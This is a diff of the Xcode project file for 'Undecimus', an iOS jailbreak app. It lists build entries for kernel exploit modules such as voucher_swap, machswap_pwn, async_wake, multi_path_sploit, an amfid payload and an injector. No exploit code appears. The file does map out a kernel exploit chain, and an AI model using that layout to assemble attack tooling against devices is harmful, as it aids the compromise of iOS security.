21CC3902227CDFDE0072D572 /* prefs.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = prefs.m; sourceTree = "<group>"; };
|
||||
21CC3903227CDFDE0072D572 /* diagnostics.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = diagnostics.m; sourceTree = "<group>"; };
|
||||
21CC3904227CDFDE0072D572 /* diagnostics.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = diagnostics.h; sourceTree = "<group>"; };
|
||||
21E9642421A1DD6F000625F7 /* NSTask.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = NSTask.h; sourceTree = "<group>"; };
|
||||
21F4D70C21FC7A590070D5E0 /* patchfinder64.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = patchfinder64.c; path = patchfinder64/patchfinder64.c; sourceTree = SOURCE_ROOT; };
|
||||
21F4D70D21FC7A590070D5E0 /* patchfinder64.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = patchfinder64.h; path = patchfinder64/patchfinder64.h; sourceTree = SOURCE_ROOT; };
|
||||
21FED6A42168DB460024BC95 /* Painting_With_Chocolate.ttf */ = {isa = PBXFileReference; lastKnownFileType = file; path = Painting_With_Chocolate.ttf; sourceTree = "<group>"; };
|
||||
21FF63C9224E5FDC008B76D9 /* offsetcache.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = offsetcache.c; path = "offset-cache/offsetcache.c"; sourceTree = SOURCE_ROOT; };
|
||||
21FF63CA224E5FDC008B76D9 /* offsetcache.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = offsetcache.h; path = "offset-cache/offsetcache.h"; sourceTree = SOURCE_ROOT; };
|
||||
21FFE0F4222E4C0600EC59B2 /* machswap_pwn.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = machswap_pwn.h; sourceTree = "<group>"; };
|
||||
21FFE0F5222E4C0600EC59B2 /* machswap_offsets.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = machswap_offsets.h; sourceTree = "<group>"; };
|
||||
21FFE0F6222E4C0600EC59B2 /* machswap_offsets.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = machswap_offsets.m; sourceTree = "<group>"; };
|
||||
21FFE0F7222E4C0600EC59B2 /* machswap_pwn.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = machswap_pwn.m; sourceTree = "<group>"; };
|
||||
222AD59221FA731800DCBA2A /* FakeApt.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = FakeApt.m; sourceTree = "<group>"; };
|
||||
222AD59421FA732A00DCBA2A /* FakeApt.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = FakeApt.h; sourceTree = "<group>"; };
|
||||
225D142121E052960045493D /* ArchiveFile.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = ArchiveFile.m; sourceTree = "<group>"; };
|
||||
225D142321E055E90045493D /* ArchiveFile.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ArchiveFile.h; sourceTree = "<group>"; };
|
||||
226689DA21EC145000262F66 /* archive.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = archive.h; sourceTree = "<group>"; };
|
||||
226689DB21EC145000262F66 /* libproc.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = libproc.h; sourceTree = "<group>"; };
|
||||
226689DC21EC1C5A00262F66 /* libarchive.2.tbd */ = {isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition"; name = libarchive.2.tbd; path = usr/lib/libarchive.2.tbd; sourceTree = SDKROOT; };
|
||||
22C546AA21A8A8FD00EFC09C /* utils.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = utils.m; sourceTree = "<group>"; wrapsLines = 1; };
|
||||
22C546AC21A8A91A00EFC09C /* utils.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = utils.h; sourceTree = "<group>"; };
|
||||
22CFED9121CDFE6B00A216BE /* libmis.tbd */ = {isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition"; name = libmis.tbd; path = usr/lib/libmis.tbd; sourceTree = SDKROOT; };
|
||||
22F91CD921E02CF200B2FCAE /* inject.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; name = inject.m; path = Injector/inject.m; sourceTree = SOURCE_ROOT; };
|
||||
22F91CDA21E02CF300B2FCAE /* inject.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = inject.h; path = Injector/inject.h; sourceTree = SOURCE_ROOT; };
|
||||
22F91CDE21E02EB000B2FCAE /* snappy.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = snappy.h; path = snappy/snappy.h; sourceTree = SOURCE_ROOT; };
|
||||
22F91CE221E033A500B2FCAE /* libsnappy.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = libsnappy.c; path = snappy/libsnappy.c; sourceTree = SOURCE_ROOT; };
|
||||
8D592A67218E47F60035D2BC /* Main.storyboard */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = file.storyboard; path = Main.storyboard; sourceTree = "<group>"; };
|
||||
/* End PBXFileReference section */
|
||||
|
||||
@@ -119,24 +198,250 @@
|
||||
isa = PBXFrameworksBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
211D0D85218DEF3E008745D8 /* libMobileGestalt.tbd in Frameworks */,
|
||||
21675B6D214A692400D20E2B /* libjb.a in Frameworks */,
|
||||
21675B63214A68B700D20E2B /* qilin.o in Frameworks */,
|
||||
21C0FC912136A46500849420 /* SpringBoardServices.framework in Frameworks */,
|
||||
21B421902261302F004C17CD /* MobileCoreServices.framework in Frameworks */,
|
||||
2171C4012222E3BB004E45C7 /* SystemConfiguration.framework in Frameworks */,
|
||||
216FDA1E220C5F5C0086D802 /* libz.tbd in Frameworks */,
|
||||
226689DD21EC1C5A00262F66 /* libarchive.2.tbd in Frameworks */,
|
||||
22CFED9221CDFE6B00A216BE /* libmis.tbd in Frameworks */,
|
||||
2170BDCD21B332FC0059BD10 /* SpringBoardServices.framework in Frameworks */,
|
||||
2170BD3B21B193800059BD10 /* libMobileGestalt.tbd in Frameworks */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
/* End PBXFrameworksBuildPhase section */
|
||||
|
||||
/* Begin PBXGroup section */
|
||||
211C372621CE2DD800ADBEA2 /* net */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
211C372721CE2DD800ADBEA2 /* route.h */,
|
||||
);
|
||||
path = net;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
211C372821CE2DD800ADBEA2 /* sys */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
211C372921CE2DD800ADBEA2 /* proc_info.h */,
|
||||
211C372A21CE2DD800ADBEA2 /* kern_control.h */,
|
||||
);
|
||||
path = sys;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
213E78222208652B00FDF3B7 /* necp */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
213E78242208654700FDF3B7 /* necp.h */,
|
||||
213E78252208654700FDF3B7 /* necp.c */,
|
||||
);
|
||||
name = necp;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
214A1771224EBE4900588EC4 /* kerneldec */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
214A1774224EBE5400588EC4 /* kerneldec.cpp */,
|
||||
214A1772224EBE5400588EC4 /* kerneldec.h */,
|
||||
214A1773224EBE5400588EC4 /* lzssdec.cpp */,
|
||||
214A1775224EBE5400588EC4 /* lzssdec.h */,
|
||||
);
|
||||
name = kerneldec;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
2150A9C6220212A6001C8677 /* empty_list */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
21C0FC8521369EE900849420 /* empty_list_sploit.c */,
|
||||
21C0FC8121369EE900849420 /* empty_list_sploit.h */,
|
||||
);
|
||||
name = empty_list;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
2150A9C7220212BC001C8677 /* multi_path */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
21C13117214D268F0021AA9D /* multi_path_sploit.c */,
|
||||
21C13118214D268F0021AA9D /* multi_path_sploit.h */,
|
||||
);
|
||||
name = multi_path;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
2150A9C8220212D1001C8677 /* async_wake */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
212D8849216E4EBE00A36DA5 /* async_wake.c */,
|
||||
212D8848216E4EBE00A36DA5 /* async_wake.h */,
|
||||
212D8846216E4DF600A36DA5 /* early_kalloc.c */,
|
||||
212D8845216E4DF600A36DA5 /* early_kalloc.h */,
|
||||
212D8842216E4C4700A36DA5 /* find_port.c */,
|
||||
212D8843216E4C4700A36DA5 /* find_port.h */,
|
||||
);
|
||||
name = async_wake;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
2150A9C9220212E6001C8677 /* deja_xnu */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
2101395421A09BB700F9C5F2 /* hideventsystem.h */,
|
||||
2101395321A09BB700F9C5F2 /* hideventsystem.c */,
|
||||
);
|
||||
name = deja_xnu;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
2150A9CA220212F8001C8677 /* voucher_swap */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
2150A9DA22021348001C8677 /* kernel_alloc.c */,
|
||||
2150A9D122021347001C8677 /* kernel_alloc.h */,
|
||||
2150A9DB22021348001C8677 /* kernel_memory.c */,
|
||||
2150A9D822021348001C8677 /* kernel_memory.h */,
|
||||
2150A9D622021348001C8677 /* kernel_slide.c */,
|
||||
2150A9D322021347001C8677 /* kernel_slide.h */,
|
||||
2150A9CE22021347001C8677 /* log.c */,
|
||||
2150A9D522021347001C8677 /* log.h */,
|
||||
2150A9D922021348001C8677 /* parameters.c */,
|
||||
2150A9D022021347001C8677 /* parameters.h */,
|
||||
2150A9CF22021347001C8677 /* platform_match.c */,
|
||||
2150A9D722021348001C8677 /* platform_match.h */,
|
||||
2150A9D422021347001C8677 /* platform.c */,
|
||||
2150A9D222021347001C8677 /* platform.h */,
|
||||
2150A9CC22021330001C8677 /* voucher_swap.c */,
|
||||
2150A9CB22021330001C8677 /* voucher_swap.h */,
|
||||
213E7827220865A100FDF3B7 /* voucher_swap-poc.c */,
|
||||
213E7829220865BF00FDF3B7 /* voucher_swap-poc.h */,
|
||||
);
|
||||
name = voucher_swap;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
21675B62214A68B700D20E2B /* Frameworks */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
21B4218F2261302F004C17CD /* MobileCoreServices.framework */,
|
||||
2171C4002222E3BB004E45C7 /* SystemConfiguration.framework */,
|
||||
216FDA1D220C5F5C0086D802 /* libz.tbd */,
|
||||
226689DC21EC1C5A00262F66 /* libarchive.2.tbd */,
|
||||
22CFED9121CDFE6B00A216BE /* libmis.tbd */,
|
||||
211D0D84218DEF3E008745D8 /* libMobileGestalt.tbd */,
|
||||
);
|
||||
name = Frameworks;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
216F3F342228774D007DC1BC /* kernel_call */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
216F3F3C2228776E007DC1BC /* kc_parameters.c */,
|
||||
216F3F3B2228776D007DC1BC /* kc_parameters.h */,
|
||||
216F3F362228776D007DC1BC /* kernel_call.c */,
|
||||
216F3F392228776D007DC1BC /* kernel_call.h */,
|
||||
216F3F3A2228776D007DC1BC /* pac.c */,
|
||||
216F3F382228776D007DC1BC /* pac.h */,
|
||||
216F3F372228776D007DC1BC /* user_client.c */,
|
||||
216F3F352228776D007DC1BC /* user_client.h */,
|
||||
);
|
||||
name = kernel_call;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
2170BD3421B192750059BD10 /* include */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
219BF90422832DBC00A4B827 /* UIProgressHUD.h */,
|
||||
2150A9E322021381001C8677 /* mach_vm.h */,
|
||||
2150A9E422021381001C8677 /* ipc_port.h */,
|
||||
2150A9E52202138A001C8677 /* IOKitLib.h */,
|
||||
226689DA21EC145000262F66 /* archive.h */,
|
||||
226689DB21EC145000262F66 /* libproc.h */,
|
||||
211C372621CE2DD800ADBEA2 /* net */,
|
||||
211C372521CE2DD700ADBEA2 /* reboot.h */,
|
||||
211C372821CE2DD800ADBEA2 /* sys */,
|
||||
21C0FC8B21369FC500849420 /* common.h */,
|
||||
21C0FC8F2136A2C500849420 /* iokit.h */,
|
||||
21E9642421A1DD6F000625F7 /* NSTask.h */,
|
||||
21395357217CBA1000B17F8D /* MobileGestalt.h */,
|
||||
);
|
||||
path = include;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
2170BD3621B192B90059BD10 /* resources */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
21FED6A42168DB460024BC95 /* Painting_With_Chocolate.ttf */,
|
||||
);
|
||||
path = resources;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
2170BDCB21B32FF10059BD10 /* source */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
2199B8E6226B40BD00A8255D /* kalloc_crash */,
|
||||
214A1771224EBE4900588EC4 /* kerneldec */,
|
||||
21FF63C8224E5FCE008B76D9 /* offset-cache */,
|
||||
21FFE0F3222E4B1600EC59B2 /* machswap */,
|
||||
216F3F342228774D007DC1BC /* kernel_call */,
|
||||
213E78222208652B00FDF3B7 /* necp */,
|
||||
2150A9CA220212F8001C8677 /* voucher_swap */,
|
||||
2150A9C9220212E6001C8677 /* deja_xnu */,
|
||||
2150A9C8220212D1001C8677 /* async_wake */,
|
||||
2150A9C7220212BC001C8677 /* multi_path */,
|
||||
2150A9C6220212A6001C8677 /* empty_list */,
|
||||
21F4D70B21FC7A490070D5E0 /* patchfinder64 */,
|
||||
22F91CDC21E02D0B00B2FCAE /* snappy */,
|
||||
22F91CD821E02CC700B2FCAE /* injector */,
|
||||
21C0FC6A21369EB700849420 /* AppDelegate.h */,
|
||||
21C0FC6B21369EB700849420 /* AppDelegate.m */,
|
||||
225D142321E055E90045493D /* ArchiveFile.h */,
|
||||
225D142121E052960045493D /* ArchiveFile.m */,
|
||||
21A97FC42148103A00DC0023 /* KernelExecution.h */,
|
||||
21A97FC82148103B00DC0023 /* KernelExecution.m */,
|
||||
21C0FC8021369EE900849420 /* KernelMemory.c */,
|
||||
21C0FC8321369EE900849420 /* KernelMemory.h */,
|
||||
21C0FC8221369EE900849420 /* KernelOffsets.h */,
|
||||
21C0FC8621369EE900849420 /* KernelOffsets.m */,
|
||||
21A97FC92148103B00DC0023 /* KernelUtilities.h */,
|
||||
21A97FCC2148103B00DC0023 /* KernelUtilities.c */,
|
||||
21C0FC7921369EB800849420 /* main.m */,
|
||||
21A97FC52148103B00DC0023 /* remote_call.h */,
|
||||
21A97FCD2148103B00DC0023 /* remote_call.c */,
|
||||
21A97FC62148103B00DC0023 /* remote_memory.c */,
|
||||
21A97FCE2148103C00DC0023 /* remote_memory.h */,
|
||||
21C0FC6D21369EB700849420 /* JailbreakViewController.h */,
|
||||
21C0FC6E21369EB700849420 /* JailbreakViewController.m */,
|
||||
21C130E4214BDDE20021AA9D /* SettingsTableViewController.h */,
|
||||
21C130E5214BDDE20021AA9D /* SettingsTableViewController.m */,
|
||||
21C130E9214C03690021AA9D /* CreditsTableViewController.h */,
|
||||
21C130EA214C03690021AA9D /* CreditsTableViewController.m */,
|
||||
21C130DE214BC2880021AA9D /* unlocknvram.c */,
|
||||
21C130DF214BC2880021AA9D /* unlocknvram.h */,
|
||||
22C546AC21A8A91A00EFC09C /* utils.h */,
|
||||
22C546AA21A8A8FD00EFC09C /* utils.m */,
|
||||
222AD59421FA732A00DCBA2A /* FakeApt.h */,
|
||||
222AD59221FA731800DCBA2A /* FakeApt.m */,
|
||||
21CC3901227CDFDE0072D572 /* prefs.h */,
|
||||
21CC3902227CDFDE0072D572 /* prefs.m */,
|
||||
21CC3904227CDFDE0072D572 /* diagnostics.h */,
|
||||
21CC3903227CDFDE0072D572 /* diagnostics.m */,
|
||||
219C909E228703DA00AFA38A /* jailbreak.h */,
|
||||
219C909F228703DA00AFA38A /* jailbreak.m */,
|
||||
);
|
||||
path = source;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
2170BDCC21B330210059BD10 /* frameworks */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
21C0FC902136A46500849420 /* SpringBoardServices.framework */,
|
||||
);
|
||||
path = frameworks;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
2199B8E6226B40BD00A8255D /* kalloc_crash */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
2199B8E7226B40C600A8255D /* kalloc_crash.h */,
|
||||
2199B8E8226B40C600A8255D /* kalloc_crash.c */,
|
||||
);
|
||||
name = kalloc_crash;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
21C0FC5E21369EB700849420 = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
@@ -158,72 +463,68 @@
|
||||
21C0FC6921369EB700849420 /* Undecimus */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
21395357217CBA1000B17F8D /* MobileGestalt.h */,
|
||||
2139534B21763A0B00B17F8D /* rsync.tar */,
|
||||
21E8CA7D2171CF7700936700 /* debugserver.tar */,
|
||||
21C1312E214D5A710021AA9D /* multi_path.entitlements */,
|
||||
219A7C852169439B00A5DD60 /* spawn.tar */,
|
||||
21C13115214C510F0021AA9D /* lzma.tar */,
|
||||
21C1310F214C2E570021AA9D /* strap.tar.lzma */,
|
||||
21C13108214C26AB0021AA9D /* launchctl.tar */,
|
||||
21C130FF214C20950021AA9D /* amfid_payload.tar */,
|
||||
21C13101214C20950021AA9D /* jailbreakd.tar */,
|
||||
21C130FD214C20940021AA9D /* libjailbreak.tar */,
|
||||
21C130FE214C20950021AA9D /* pspawn_hook.tar */,
|
||||
21C13100214C20950021AA9D /* tar.tar */,
|
||||
21FED6A42168DB460024BC95 /* Painting_With_Chocolate.ttf */,
|
||||
21C130FC214C1EC00021AA9D /* untar.h */,
|
||||
21C130FA214C1EBA0021AA9D /* untar.c */,
|
||||
21A97FC42148103A00DC0023 /* kexecute.h */,
|
||||
21A97FC82148103B00DC0023 /* kexecute.m */,
|
||||
21A97FCC2148103B00DC0023 /* kutils.c */,
|
||||
21A97FC92148103B00DC0023 /* kutils.h */,
|
||||
21A97FCF2148103C00DC0023 /* libjb.a */,
|
||||
21A97FC72148103B00DC0023 /* libjb.h */,
|
||||
21A97FCA2148103B00DC0023 /* patchfinder64.c */,
|
||||
21A97FCB2148103B00DC0023 /* patchfinder64.h */,
|
||||
21A97FCD2148103B00DC0023 /* remote_call.c */,
|
||||
21A97FC52148103B00DC0023 /* remote_call.h */,
|
||||
21A97FC62148103B00DC0023 /* remote_memory.c */,
|
||||
21A97FCE2148103C00DC0023 /* remote_memory.h */,
|
||||
21C0FC902136A46500849420 /* SpringBoardServices.framework */,
|
||||
21C0FC8F2136A2C500849420 /* iokit.h */,
|
||||
21C0FC8D2136A0D100849420 /* QiLin.h */,
|
||||
21C0FC8C2136A0D100849420 /* qilin.o */,
|
||||
21C0FC8B21369FC500849420 /* common.h */,
|
||||
21C130DE214BC2880021AA9D /* unlocknvram.c */,
|
||||
21C130DF214BC2880021AA9D /* unlocknvram.h */,
|
||||
212D8849216E4EBE00A36DA5 /* async_wake.c */,
|
||||
212D8848216E4EBE00A36DA5 /* async_wake.h */,
|
||||
212D8846216E4DF600A36DA5 /* early_kalloc.c */,
|
||||
212D8845216E4DF600A36DA5 /* early_kalloc.h */,
|
||||
212D8842216E4C4700A36DA5 /* find_port.c */,
|
||||
212D8843216E4C4700A36DA5 /* find_port.h */,
|
||||
21C0FC8521369EE900849420 /* empty_list_sploit.c */,
|
||||
21C0FC8121369EE900849420 /* empty_list_sploit.h */,
|
||||
21C13117214D268F0021AA9D /* multi_path_sploit.c */,
|
||||
21C13118214D268F0021AA9D /* multi_path_sploit.h */,
|
||||
21C0FC8021369EE900849420 /* kmem.c */,
|
||||
21C0FC8321369EE900849420 /* kmem.h */,
|
||||
21C0FC8221369EE900849420 /* offsets.h */,
|
||||
21C0FC8621369EE900849420 /* offsets.m */,
|
||||
21C0FC6A21369EB700849420 /* AppDelegate.h */,
|
||||
21C0FC6B21369EB700849420 /* AppDelegate.m */,
|
||||
21C0FC6D21369EB700849420 /* ViewController.h */,
|
||||
21C0FC6E21369EB700849420 /* ViewController.m */,
|
||||
21C130E4214BDDE20021AA9D /* SettingsTableViewController.h */,
|
||||
21C130E5214BDDE20021AA9D /* SettingsTableViewController.m */,
|
||||
2170BDCC21B330210059BD10 /* frameworks */,
|
||||
2170BDCB21B32FF10059BD10 /* source */,
|
||||
2170BD3621B192B90059BD10 /* resources */,
|
||||
2170BD3421B192750059BD10 /* include */,
|
||||
8D592A67218E47F60035D2BC /* Main.storyboard */,
|
||||
21C0FC7321369EB800849420 /* Assets.xcassets */,
|
||||
21C0FC7521369EB800849420 /* LaunchScreen.storyboard */,
|
||||
21C0FC7821369EB800849420 /* Info.plist */,
|
||||
21C0FC7921369EB800849420 /* main.m */,
|
||||
21C130E9214C03690021AA9D /* CreditsTableViewController.h */,
|
||||
21C130EA214C03690021AA9D /* CreditsTableViewController.m */,
|
||||
21C1312E214D5A710021AA9D /* multi_path.entitlements */,
|
||||
);
|
||||
path = Undecimus;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
21F4D70B21FC7A490070D5E0 /* patchfinder64 */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
21F4D70C21FC7A590070D5E0 /* patchfinder64.c */,
|
||||
21F4D70D21FC7A590070D5E0 /* patchfinder64.h */,
|
||||
);
|
||||
name = patchfinder64;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
21FF63C8224E5FCE008B76D9 /* offset-cache */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
21FF63C9224E5FDC008B76D9 /* offsetcache.c */,
|
||||
21FF63CA224E5FDC008B76D9 /* offsetcache.h */,
|
||||
);
|
||||
name = "offset-cache";
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
21FFE0F3222E4B1600EC59B2 /* machswap */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
21FFE0F5222E4C0600EC59B2 /* machswap_offsets.h */,
|
||||
21FFE0F6222E4C0600EC59B2 /* machswap_offsets.m */,
|
||||
21FFE0F4222E4C0600EC59B2 /* machswap_pwn.h */,
|
||||
21FFE0F7222E4C0600EC59B2 /* machswap_pwn.m */,
|
||||
21BB9803222F05C40012AF40 /* machswap2_pwn.h */,
|
||||
21BB9802222F05C40012AF40 /* machswap2_pwn.m */,
|
||||
);
|
||||
name = machswap;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
22F91CD821E02CC700B2FCAE /* injector */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
22F91CDA21E02CF300B2FCAE /* inject.h */,
|
||||
22F91CD921E02CF200B2FCAE /* inject.m */,
|
||||
);
|
||||
name = injector;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
22F91CDC21E02D0B00B2FCAE /* snappy */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
22F91CE221E033A500B2FCAE /* libsnappy.c */,
|
||||
22F91CDE21E02EB000B2FCAE /* snappy.h */,
|
||||
);
|
||||
name = snappy;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
/* End PBXGroup section */
|
||||
|
||||
/* Begin PBXNativeTarget section */
|
||||
@@ -232,8 +533,9 @@
|
||||
buildConfigurationList = 21C0FC7D21369EB800849420 /* Build configuration list for PBXNativeTarget "Undecimus" */;
|
||||
buildPhases = (
|
||||
21C0FC6321369EB700849420 /* Sources */,
|
||||
21C0FC6421369EB700849420 /* Frameworks */,
|
||||
21C0FC6521369EB700849420 /* Resources */,
|
||||
21C0FC6421369EB700849420 /* Frameworks */,
|
||||
22C546CD21A8E5B800EFC09C /* ShellScript */,
|
||||
);
|
||||
buildRules = (
|
||||
);
|
||||
@@ -250,7 +552,7 @@
|
||||
21C0FC5F21369EB700849420 /* Project object */ = {
|
||||
isa = PBXProject;
|
||||
attributes = {
|
||||
LastUpgradeCheck = 0940;
|
||||
LastUpgradeCheck = 1010;
|
||||
ORGANIZATIONNAME = Pwn20wnd;
|
||||
TargetAttributes = {
|
||||
21C0FC6621369EB700849420 = {
|
||||
@@ -282,50 +584,84 @@
|
||||
isa = PBXResourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
21C13103214C20950021AA9D /* pspawn_hook.tar in Resources */,
|
||||
21E8CA7E2171CF7800936700 /* debugserver.tar in Resources */,
|
||||
21C13110214C2E570021AA9D /* strap.tar.lzma in Resources */,
|
||||
21C13102214C20950021AA9D /* libjailbreak.tar in Resources */,
|
||||
21C0FC7721369EB800849420 /* LaunchScreen.storyboard in Resources */,
|
||||
21C13104214C20950021AA9D /* amfid_payload.tar in Resources */,
|
||||
8D592A68218E47F60035D2BC /* Main.storyboard in Resources */,
|
||||
219A7C862169439C00A5DD60 /* spawn.tar in Resources */,
|
||||
21FED6A72168DB460024BC95 /* Painting_With_Chocolate.ttf in Resources */,
|
||||
21C0FC7421369EB800849420 /* Assets.xcassets in Resources */,
|
||||
21C13106214C20950021AA9D /* jailbreakd.tar in Resources */,
|
||||
21C13116214C51100021AA9D /* lzma.tar in Resources */,
|
||||
2139534C21763A0C00B17F8D /* rsync.tar in Resources */,
|
||||
21C13109214C26AB0021AA9D /* launchctl.tar in Resources */,
|
||||
21C13105214C20950021AA9D /* tar.tar in Resources */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
/* End PBXResourcesBuildPhase section */
|
||||
|
||||
/* Begin PBXShellScriptBuildPhase section */
|
||||
22C546CD21A8E5B800EFC09C /* ShellScript */ = {
|
||||
isa = PBXShellScriptBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
);
|
||||
inputPaths = (
|
||||
"${TARGET_BUILD_DIR}/${INFOPLIST_PATH}",
|
||||
);
|
||||
outputPaths = (
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
shellPath = /bin/sh;
|
||||
shellScript = "\"${SOURCE_ROOT}/post.sh\"\n";
|
||||
};
|
||||
/* End PBXShellScriptBuildPhase section */
|
||||
|
||||
/* Begin PBXSourcesBuildPhase section */
|
||||
21C0FC6321369EB700849420 /* Sources */ = {
|
||||
isa = PBXSourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
21FED6AB2168F8060024BC95 /* SettingsTableViewController.m in Sources */,
|
||||
21A97FD12148103C00DC0023 /* kexecute.m in Sources */,
|
||||
216F3F3E2228776E007DC1BC /* user_client.c in Sources */,
|
||||
2150A9E022021348001C8677 /* parameters.c in Sources */,
|
||||
21A97FD12148103C00DC0023 /* KernelExecution.m in Sources */,
|
||||
2150A9E122021348001C8677 /* kernel_alloc.c in Sources */,
|
||||
2150A9DD22021348001C8677 /* platform_match.c in Sources */,
|
||||
212D8844216E4C4800A36DA5 /* find_port.c in Sources */,
|
||||
212D8841216B9FB400A36DA5 /* patchfinder64.c in Sources */,
|
||||
213E78262208654700FDF3B7 /* necp.c in Sources */,
|
||||
22C546AB21A8A8FD00EFC09C /* utils.m in Sources */,
|
||||
2150A9DC22021348001C8677 /* log.c in Sources */,
|
||||
216F3F3D2228776E007DC1BC /* kernel_call.c in Sources */,
|
||||
22F91CE321E033A500B2FCAE /* libsnappy.c in Sources */,
|
||||
21A97FD42148103C00DC0023 /* remote_call.c in Sources */,
|
||||
21C130E0214BC2880021AA9D /* unlocknvram.c in Sources */,
|
||||
21C130FB214C1EBA0021AA9D /* untar.c in Sources */,
|
||||
21C13119214D268F0021AA9D /* multi_path_sploit.c in Sources */,
|
||||
2116449A21737F9500250744 /* ViewController.m in Sources */,
|
||||
214A1777224EBE5400588EC4 /* kerneldec.cpp in Sources */,
|
||||
2116449A21737F9500250744 /* JailbreakViewController.m in Sources */,
|
||||
21F4D70E21FC7A590070D5E0 /* patchfinder64.c in Sources */,
|
||||
2150A9DE22021348001C8677 /* platform.c in Sources */,
|
||||
213E7828220865A100FDF3B7 /* voucher_swap-poc.c in Sources */,
|
||||
22F91CDB21E02CF300B2FCAE /* inject.m in Sources */,
|
||||
2199B8E9226B40C600A8255D /* kalloc_crash.c in Sources */,
|
||||
21C1312F214E69F80021AA9D /* empty_list_sploit.c in Sources */,
|
||||
21C0FC8721369EE900849420 /* kmem.c in Sources */,
|
||||
21C0FC8721369EE900849420 /* KernelMemory.c in Sources */,
|
||||
21CC3906227CDFDE0072D572 /* diagnostics.m in Sources */,
|
||||
21C0FC7A21369EB800849420 /* main.m in Sources */,
|
||||
212D8847216E4DF600A36DA5 /* early_kalloc.c in Sources */,
|
||||
